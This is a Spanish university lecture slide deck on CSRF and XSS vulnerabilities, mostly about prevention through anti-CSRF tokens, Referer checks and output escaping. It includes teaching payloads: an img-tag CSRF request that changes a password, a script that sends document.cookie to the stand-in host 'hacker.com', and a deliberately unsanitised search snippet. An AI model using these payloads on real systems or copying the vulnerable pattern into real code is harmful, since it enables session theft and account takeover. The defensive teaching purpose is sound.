UNIVERSIDAD
COMPLUTENSE
MADRID

Vulnerabilidades
Cross-site

Gestión de la Información en la Web
Enrique Martín - emartinm@ucm.es
Grados de la Fac. Informática

¿Qué son?

- Las vulnerabilidades *cross-site* son una familia de vulnerabilidades de las aplicaciones web donde:
  - Estan implicados uno o varios *sites*.
  - Se utilizan *scripts* en el lado del cliente (u otras formas de lanzar peticiones)
- Podemos distinguir varios tipos:
  - CSRF: Cross-Site Request Forgery
  - XSS: Cross-Site Scripting

Cross-site Request Forgery (CSRF)

Cross-Site Request Forgery

- **CSRF** es **falsificar un petición** a un servidor web: realizar una **petición** a una aplicación web sin que el cliente tenga **constancia**.
- Esta petición puede realizar tareas como:
  - Cambiar la clave del usuario
  - Introducir productos en su carrito de la compra
  - Realizar una compra *one-click*

Ejemplo CSRF

- Imaginad que vuestra aplicación permite **cambiar la contraseña** a usuario registrados que tienen una **sesión activa**.
- Para ello envía una solicitud como: `http://localhost:8080/change_pass?pass=1234`
- Como el usuario tiene una sesión activa no le pedimos nada más (ya está autenticado) y obtenemos su nombre de usuario de los datos de sesión `session['username']`

Ejemplo CSRF

- Imaginad que:
  1. Iniciáis sesión en *servicio.com*
  2. Sin cerrar la sesión, abrís otra pestaña del navegador para revisar vuestra correo.
  3. Consultáis un e-mail HTML “raro” que tiene el código:

```
<p>Estimado colega<p> (...rollo...)
<img src="https://servicio.com/chpass?pass=hacked!">
```

¿Qué ocurriría...?
¡Y solo con mirar un e-mail!

Prueba de concepto CSRF

1. En pestaña 1: autenticarse
   `http://localhost:8080/login?user=pepe&pass=1234`
2. En pestaña 2: comprobar sesión
   `http://localhost:8080/sessinfo`
3. En pestaña 3: ver otra página “inocente”
   `csrf.html`
4. En pestaña 2: comprobar sesión otra vez
   `http://localhost:8080/sessinfo`

¡Adiós contraseña!

Ejemplo CSRF

- La solicitud falsificada podría haberse realizado por otros medios:
  - script en el e-mail
    ```
    <a href="#" onmouseover="window.location='URL-mala'>Mira qué interesante</a>
    ```
  - iframe en el e-mail
    ```
    <iframe src='URL-mala'></iframe>
    ```
  - Cualquier otra etiqueta con atributo **src** como *<embed>*

Prevención de CSRF

- **Validar la operación** con un secreto.
  - Por ejemplo, para cambiar la contraseña pediremos a la vez la contraseña antigua.
- **Inspeccionar** el campo ***Referer*** de la cabecera HTTP. Solo deberíamos aceptar aquellas peticiones originadas en páginas *adecuadas* de nuestra web.
  - Algunos ***proxies*** o **navegadores** pueden **eliminar** el campo ***Referer***, así que también habría que aceptar peticiones sin ese campo.

Prevención de CSRF

- Usar **tokens** especiales para distinguir peticiones legítimas de peticiones falsificadas.
- Este *token,* conocido como ***action token, synchronizer token o antiCSRF token***, es un valor que se incluye como campo oculto en un formulario o como argumento en la URL.
- Si una petición proporciona el token adecuado sabremos que es **legítima**.

Prevención de CSRF

- Los tokens se pueden crear de varias formas:
  - (A) Crear una cadena aleatoria y almacenarla en el estado de la sesión. Por ejemplo obtener un número aleatorio y calcular su *hash*.
  - (B) Construir una cadena *hash* a partir de:
    - El identificador de sesión (**SSID**)
    - La página que recibirá la petición (**L**)
    - Un valor secreto de la aplicación (**K**)

Prevención de CSRF

- Cuando el servidor reciba la petición con destino L e identificador de sesión SSID, comprobará:
  - (A) Si el token es el que está almacenado en el estado → OK.
  - (B) Si con L, SSID y K se genera un token igual al que se recibe → OK.
- En otro caso se trata de un posible ataque CSRF → almacenar en log y mostrar mensaje inocuo al usuario.

Prevención de CSRF

- En la situación (A) se pueden almacenar tokens para distintas páginas destino L → usuario navegando con varias pestañas.
- En la situación (B) no sería necesario almacenar nada porque la información de destino L está incluida en el token.
  - Sin embargo el token será el mismo para todas las peticiones al **mismo destino (L)** dentro de la **misma sesión (SSID)**.

Cross-site Scripting (XSS)

Cross-site scripting (XSS)

- Un ***script*** **malicioso se incorpora en una página web** nuestra:
  - El usuario confía en nosotros y piensa que nada malo puede pasar.
  - El *script* malicioso puede realizar cualquier tarea como si fuese parte de nuestra web: obtener *cookies*, identificador de sesión...

Ejemplo XSS

- Tenemos una página de búsqueda:
  `http://servicio.com/query?q=tomates`
- La página generada muestra la búsqueda realizada a modo de recordatorio:

```
query = request.query['q']
html += “<p>Resultados para “ +
        query + “</p>”
```

- Pero no **desinfectar** la entrada `query` es mala idea…

Ejemplo XSS

- Una persona “maliciosa” nos podría pasar un enlace como:
  `http://servicio.com/query?q=`**`<script_malo>`**

  donde **`<script_malo>`** podría ser:

```
<script>
  i = new Image();
  i.src = “http://hacker.com/log_cookie?cookie=” +
          escape(document.cookie);
</script>
```

- Si pinchamos en él… ¡la página de resultados contendría un *script* que envía las *cookies* al atacante!

Ejemplo XSS

- El “script malo” podría hacer cosas peores:
  - Cargar la página de perfil de servicio.com del usuario en un frame oculto, y enviar todo el DOM a un servidor.
  - Modificar el DOM de la página actual para realizar algún ataque de *phising*. El usuario no sospechará nada, pues está en servicio.com, y podría proporcionar datos privados.

Tipos de XSS

- **Reflected XSS** (o no persistente). El tipo que hemos visto: el servidor recibe un *script* como entrada de usuario, y la introduce en la página devuelta.
- **Stored XSS** (o persistente). El *script* malicioso se introduce en el servidor una sola vez. Un ejemplo clásico son los foros que permiten incluir mensajes HTML sin limpiarlos bien.

Prevención de XSS

- **Validar** las **entradas** de usuario.
- **Desinfectar todo el texto** que va a aparecer en la página HTML generada, p.ej:
  - Texto normal:
    “Bienvenido ” + **request.query['user']**
  - Atributos de etiquetas:
    '<img src=”' + **request.query['user']** + '”>'

    Es importante **escapar** los caracteres '<', '>', '&', comillas simples (') y dobles (“).

    Se puede **filtrar** la salida permitiendo HTML seguro (basado en “*listas blancas*”)

Referencias

Referencias

- OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet:
  - https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
- OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet:
  - https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Referencias

- Malicious HTML Tags Embedded in Client Web Requests:
  - http://www.cert.org/historical/advisories/CA-2000-02.cfm
- The Cross-Site Scripting (XSS) FAQ:
  - http://www.cgisecurity.com/xss-faq.html
- CWE-79: Improper Neutralization of Input During Web Page Generation:
  - https://cwe.mitre.org/data/definitions/79.html